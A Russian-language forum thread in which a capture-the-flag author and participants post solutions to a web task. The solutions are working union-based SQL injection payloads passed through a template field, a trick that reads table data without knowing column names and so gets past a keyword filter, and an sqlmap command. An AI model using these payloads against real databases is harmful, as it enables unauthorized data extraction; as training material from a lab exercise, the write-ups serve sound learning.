 |
|

24.03.2020, 15:46
|
|
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами:
4931606
Репутация:
138
|
|
Наверное последнее, что напишу по поводу задания
вторая часть - изи, или даже изи-изи.
Union-based SQLi с выводом, даже не слепая.
Ради нее и задание запускать не очень нужно, тем более на форуме, где исторически сложилась сильная школа исследователей по этому направлению.
Но раз уже сделано, точка входа выложена на блюдечке, можно и воткнуть.
Я предполагал, что решит всякий, кто возьмется.
Даже с начальным опытом.
|
|
|

26.03.2020, 16:25
|
|
Новичок
Регистрация: 09.05.2018
Сообщений: 22
С нами:
4218806
Репутация:
12
|
|
Спс, хороший таск, на практике такое ни разу не использовал.
P.S. после закрытия таска, можно исходники посмотреть?
|
|
|

26.03.2020, 16:47
|
|
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами:
4931606
Репутация:
138
|
|
Сообщение от neur0funk
↑
P.S. после закрытия таска, можно исходники посмотреть?
Задание не на поиск багов в движках, в коде.
Почему и как написан код - никакого значения не имеет.
Имеем нечто по-факту.
С ним можно взаимодействовать некоторым образом.
Нужно догадаться - как именно.
Черный ящик.
|
|
|

27.03.2020, 13:07
|
|
Познающий
Регистрация: 30.01.2014
Сообщений: 87
С нами:
6465206
Репутация:
33
|
|
Раз уж заглянул на античат, то заодно решил и размять руки. Спасибо за задание, было интересно и совсем не долго, — ничего сложного.
|
|
|

29.03.2020, 18:17
|
|
Новичок
Регистрация: 15.02.2019
Сообщений: 11
С нами:
3812726
Репутация:
48
|
|
Спасибо, получил удовольствие от задания
|
|
|

30.03.2020, 13:31
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Довольно интересная задача. Первую часть оценить не могу, потому что посмотрел подсказки. Ну как, подсказки. Решение
А вот вторая часть неплохая, хотя для меня с элементом "угадывания".
Спасибо за задачу!
|
|
|

01.04.2020, 13:29
|
|
Новичок
Регистрация: 12.11.2018
Сообщений: 19
С нами:
3949526
Репутация:
57
|
|
познавательно, было интересно.
Спасибо автору
|
|
|

02.04.2020, 19:41
|
|
Постоянный
Регистрация: 16.11.2018
Сообщений: 620
С нами:
3943766
Репутация:
47
|
|
Спасибо, попыхтел и решил. узнал кое-что для себя новое.
|
|
|

02.04.2020, 21:13
|
|
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами:
4931606
Репутация:
138
|
|
Прохождение:
Ищем точку входа.
Ничего интересного, кроме параметров, в форме нет.
Втыкаем в них.
В ответах есть реакция только на поле "template", видна работа фильтра, на "запрещенные" символы получаем пустую ссылку на файл стилей и верстка рушится.
Если проверить на допустимые символы, то получим такой набор:
[a-zA-Z0-9\-_\.\/\'\{\}= \(\),\*]
Немного странный набор, но он косвенно свидетельствует о том, что поле обрабатывается и через него можно отослать, сразу и не понятно чего.
Странным его делают символы (){}*=
попробем построить из них чего-нибудь.
В аналогичной ситуациии заметил, что часто получаются симметричные конструкции и начал добавлять в них выражения - арифметические и логические.
В какой то момет получил реакцию.
В данном случае внутри шаблона ={{}}=
Код:
={{purple}}= href="./css/purple.css"
={{purple'and'1}}= href="./css/purple.css"
={{purple'and'0}}= href=""
={{'or'1}}= href="./css/purple.css"
={{'union select version()'}}= href="10.1.44-MariaDB-0+deb9u1"
дальше можно открыть любую методичку по SQLi и продолжить:
Код:
'union select group_concat(0x7c,table_schema)from(select distinct table_schema from information_schema.tables)t-- -
href="|information_schema,|task10"
Код:
'union select group_concat(0x7c,table_name)from(select distinct table_name from information_schema.tables where table_schema=0x7461736B3130)t-- -
href="|flag1286n2482,|template"
Видим сбивающее с толку название flag1286n2482, чтоли это и есть флаг?
Но по факту это только указатель, нужно прочитать данные таблички.
И тут наш вектор сломался и отказывается работать, если мы пытаемся воткнуть ему подстроку " column".
С одной стороны обидно, пару запросов осталось сделать.
С другой стороны - нас это не остановит.
Было время, когда information_schema вообще не существовало, а информацию вытаскивали.
И тут есть два варианта - быстренько повтыкать по такому случаю, или не тратить время и убедиться, что это уже давно найдено за нас
https://rdot.org/forum/showpost.php?...2&postcount=10
Находим количество полей в таблице - 3.
Код:
purple' and exists(select*from(select*from flag1286n2482 order by 3)k)and'1
purple' and exists(select*from(select*from flag1286n2482 order by 4)k)and'1
и вынимаем данные
Код:
'union select k.2 from(select 1,2,3 union select * from flag1286n2482)k limit 1,1-- -
href="*A9842A926CB0D29CBCC7F5A4719E9E65AD5278AC"
.SpoilerTarget" type="button">Spoiler: Немного лирики
Вообще, задания типа этой первой части я не люблю и скорее всего не стал бы его решать.
Тогда почему включил в таск?
В задании допустимо следовать настроению и проигнорить поиск, но в реале мотивация может быть посильнее, чем настроение.
И когда в такой ситуации бага расковырялась, я понял несколько вещей:
- SQLi и сейчас может быть интересной, хотя в свое время их навтыкались до отвращения.
- сколько и чего я пропустил на реальных сайтах, просто потому, что опыт загоняет тебя в шаблоны восприятия - что и как должно выглядеть.
- приятно открыть дверь там, где ее даже и не видно, даже и при полном свете.
Прохождения участников:
.SpoilerTarget" type="button">Spoiler
Сообщение от undefo
↑
Код:
={{purple' UNION SELECT GROUP_CONCAT(s.2 SEPARATOR ',') FROM (SELECT 1,2,3 UNION SELECT * FROM flag1286n2482)s LIMIT 1,1 -- -}}=
Сообщение от Shubka75
↑
Код:
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{purple' and false union select table_name from information_schema.tables where table_schema=database()-- rr}}=&email=wefwef%40abc.abc&password=sefesfsef&commit=Log+In
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{purple' and false union select concat_ws(0x3a,c1,c2,c3) from (select 1 c1,2 c2, 3 c3 union select * from flag1286n2482 limit 1,1)k -- }}=&email=wefwef%40abc.abc&password=sefesfsef&commit=Log+In¶m=1111
Сообщение от neur0funk
↑
Код:
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{0' union select table_name from information_schema.tables limit 78,1-- }}=&email=&password=&commit=Log In
={{0' union select GROUP_CONCAT(concat_ws(0x3a,v1,v2,v3)) from(select 1 v1,2 v2,3 v3 union select * from flag1286n2482)z -- }}=
Сообщение от Раrаdох
↑
Само собой, делал я так:
1. Узнать имена столбцов через
information_schema.columns
оказалось не так то просто, учитывая, что если в запросе встречается слово "
columns
" (не учитывая регистра), то результатом запроса становится запрос по умолчанию. Тогда я решил применить технику объединения результата запроса из таблицы с левым
SELECT 1,..,N
(где N — число столбцов в искомой таблице, иначе, при разном кол-ве столбцов, оператор
UNION
не прокатит). "Техникой" это становится в тот момент, когда ты осознаешь, что имена столбцов в таком случае принимают значения левого аргумента оператора, и, соответственно, можно запросто их вывести, ничего не зная о настоящих именах столбцов нужной нам таблицы.
Тогда запрос принимает следующий вид:
Код:
template=={{-1' union select concat_ws(',', t.1, t.2, t.3) from (select 1,2,3 union select * from flag1286n2482) t limit 1,1 -- }}=
2. Если не понятно, отмечу, что значения мы выводим через
t.N
(где N - порядковый номер нужного столбца в таблице) и конкатенируем их в единую строку с помощью встроенной функции
concat_ws
. С помощью
LIMIT
мы получаем нужную нам строку (вторую, в данном случае).
3. Возможно, также, остается вопрос "а как мы узнали кол-во столбцов"? Тут всё просто: как только вышеупомянутый UNION сработал, значит, кол-во столбцов подобрано правильно. При бинарном поиске такая задача сходится весьма быстро, также, как и классический подход с
ORDER BY
.
Если остались какие-то вопросы, буду рад прокомментировать.
Сообщение от Раrаdох
↑
Добрый день!
Спасибо за задачу, моё решение
Task #10
таково:
1. Осматриваем страницу, понимаем, что никуда внутрь провалиться нельзя, значит имеем дело только с формой. Быстренько ковыряем её: подставив двойную кавычку в параметр
template
замечаем, что один из тегов
link
на странице поменял значения атрибута
href
, а именно — он стал пустым. Предполагаем, что копать нужно в этом направлении, а учитывая, что это какой-то шаблон, пробуем техники в направлении эксплуатации уязвимостей в серверных шаблонизаторах. Все остальные параметры из POST запроса выкидываем — они ни к чему.
2. Пробуем покрутить обыкновенную скулю для строкового значения, подбирая кол-во столбцов в возвращаемом ответе от СУБД методом сортировки по столбцу, указав его порядковый номер (
ORDER BY N
):
Код:
={{purple' order by 1-- }}=
3. Вроде, работает. Пробуем сортировать по столбцам с более высоким порядковым номером — запрос падает. Делаем предположение, что возвращается всего один столбец.
4. Соединяем текущий запрос с полезной нагрузкой с помощью
UNION
:
Код:
={{' union select version() -- }}=
Получили ответ
10.1.44-MariaDB-0+deb9u1
. Вуаля, дальше дело техники.
5. Мы люди белые, год не 2001й, так что дальше крутить руками не будем. Кто варится в этом недавно, может покрутить и вручную, если интересно. А мы воспользуемся утилитой
sqlmap
. Предварительно поможем ей с помощью указания конкретного параметра, а также суффикса и постфикса полезной нагрузки, ибо нужно завраппить полезную нагрузку в синтаксическую конструкцию серверного шаблонизатора
={{payload}}=
. Варианты помощи могут быть разные, например, что-то вроде:
Код:
sqlmap -u http://task.antichat.com:10010/ --data="template=" -p template --prefix="={{' union " --suffix=" -- }}="
6. Утилита отработала: выдала несколько обнаруженных баз данных. Среди них
task10
— предполагаем, что это то, что надо. Сканируем таблицы искомой бд и обнаруживаем таблицу, название которой является флагом со значением "
flag1286n2482
". На всякий случай смотрим внутрь таблицы, но ничего интересного там не наблюдаем.
7. Задача решена.
Сообщение от Раrаdох
↑
1. Узнать имена столбцов через
information_schema.columns
оказалось не так то просто, учитывая, что если в запросе встречается слово "
columns
" (не учитывая регистра), то результатом запроса становится запрос по умолчанию. Тогда я решил применить технику объединения результата запроса из таблицы с левым
SELECT 1,..,N
(где N — число столбцов в искомой таблице, иначе, при разном кол-ве столбцов, оператор
UNION
не прокатит). "Техникой" это становится в тот момент, когда ты осознаешь, что имена столбцов в таком случае принимают значения левого аргумента оператора, и, соответственно, можно запросто их вывести, ничего не зная о настоящих именах столбцов нужной нам таблицы.
Тогда запрос принимает следующий вид:
Код:
template=={{-1' union select concat_ws(',', t.1, t.2, t.3) from (select 1,2,3 union select * from flag1286n2482) t limit 1,1 -- }}=
2. Если не понятно, отмечу, что значения мы выводим через
t.N
(где N - порядковый номер нужного столбца в таблице) и конкатенируем их в единую строку с помощью встроенной функции
concat_ws
. С помощью
LIMIT
мы получаем нужную нам строку (вторую, в данном случае).
3. Возможно, также, остается вопрос "а как мы узнали кол-во столбцов"? Тут всё просто: как только вышеупомянутый UNION сработал, значит, кол-во столбцов подобрано правильно. При бинарном поиске такая задача сходится весьма быстро, также, как и классический подход с
ORDER BY
.
Если остались какие-то вопросы, буду рад прокомментировать.
Сообщение от nix_security
↑
Код:
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template={{'+template=={{'+union+SELECT+table_name+FROM+information_schema.tables+where+table_schema='task10'+limit+1+--+}}=&email=dd%40dd.com&password=paswo&commit=Log+In
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{'+union+select+concat_ws(0x3a,a,b)+from+(select+'a','b','c'+union+select+*+from+flag1286n2482)a+limit+1,1+--+}}=&email=dd%40dd.com&password=paswo&commit=Log+In
Сообщение от gurux13
↑
- Воспользовался подсказкой про ={{sqli}}= в template
- Начал передавать всякую фигню в sqli
- Внезапно, ' union select 1 -- вывел 1 в , если же результат запроса 0, то получаем . Так с помощью LENGTH, SUBSTR, ASCII
Дальше составляем запросы на вывод таблиц (SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 78) и находим таблицу "flag1286n2482".
Данные из этой таблицы читаем с помощью запросы ""(SELECT test FROM ((SELECT 1,'test',3 UNION SELECT * FROM task10.flag1286n2482)test) LIMIT 1 OFFSET 1)" и получаем *A9842A926CB0D29CBCC7F5A4719E9E65AD5278AC
Всем спасибо!
Все меньше времени остается на задачки, но мы их не бросаем
==
PS
В изначальном варианте information_schema была полностью запрещена и нужно было найти еще и небрутабельное имя таблицы.
Но посчитал, что это излишне затянет задание, без особой на то необходимости.
И выпилил перед запуском.
|
|
|

02.04.2020, 21:42
|
|
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
С нами:
5344886
Репутация:
441
|
|
Пацаны ваще ребята, респект всем решившим!
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|